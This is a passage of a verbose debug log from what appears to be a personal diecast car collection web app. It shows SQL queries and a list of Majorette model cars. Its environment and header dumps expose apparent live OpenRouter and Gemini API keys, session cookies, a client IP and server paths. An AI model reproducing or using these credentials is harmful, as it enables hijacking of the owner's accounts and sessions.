    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:27.133Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:02:27.134Z server-connect:app Executing action step identify
2026-02-04T07:02:27.134Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:27.134Z server-connect:output identity: 1
2026-02-04T07:02:27.134Z server-connect:app Executing action step restrict
2026-02-04T07:02:27.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:27.134Z server-connect:output restrict: undefined
2026-02-04T07:02:27.134Z server-connect:app Executing action step condition
2026-02-04T07:02:27.134Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:02:27.134Z server-connect:app Executing action step update
2026-02-04T07:02:27.134Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:02:27.135Z server-connect:output update: { affected: 1 }
2026-02-04T07:02:27.135Z server-connect:app Executing action step upload
2026-02-04T07:02:27.135Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:02:27.135Z server-connect:output upload_image: []
2026-02-04T07:02:27.135Z server-connect:app Executing action step repeat
2026-02-04T07:02:27.135Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:02:27.135Z server-connect:output repeat_images: []
2026-02-04T07:02:27.135Z server-connect:output condition: undefined
2026-02-04T07:02:27.418Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:02:27.418Z server-connect:app Executing action step identify
2026-02-04T07:02:27.418Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:27.418Z server-connect:output identity: 1
2026-02-04T07:02:27.418Z server-connect:app Executing action step restrict
2026-02-04T07:02:27.418Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:27.418Z server-connect:output restrict: undefined
2026-02-04T07:02:27.418Z server-connect:app Executing action step paged
2026-02-04T07:02:27.418Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:02:27.421Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:02:27.706Z server-connect:router Serving templateView /
2026-02-04T07:02:27.706Z server-connect:app Executing action step identify
2026-02-04T07:02:27.706Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:27.706Z server-connect:output identity: 1
2026-02-04T07:02:27.706Z server-connect:app Executing action step restrict
2026-02-04T07:02:27.706Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:27.706Z server-connect:output restrict: undefined
2026-02-04T07:02:27.706Z server-connect:app Executing action step restrict
2026-02-04T07:02:27.706Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:27.707Z server-connect:output restrict: undefined
2026-02-04T07:02:27.707Z server-connect:router Render template layouts/main
2026-02-04T07:02:27.707Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:33.486Z server-connect:router Serving templateView /diecast
2026-02-04T07:02:33.486Z server-connect:app Executing action step identify
2026-02-04T07:02:33.486Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:33.486Z server-connect:output identity: 1
2026-02-04T07:02:33.486Z server-connect:app Executing action step restrict
2026-02-04T07:02:33.486Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:33.487Z server-connect:output restrict: undefined
2026-02-04T07:02:33.487Z server-connect:router Render template layouts/main
2026-02-04T07:02:33.487Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    condition: '',
    manufacturer: '72',
    search: '',
    series: '',
    brand: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=72&search=&series=&brand=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
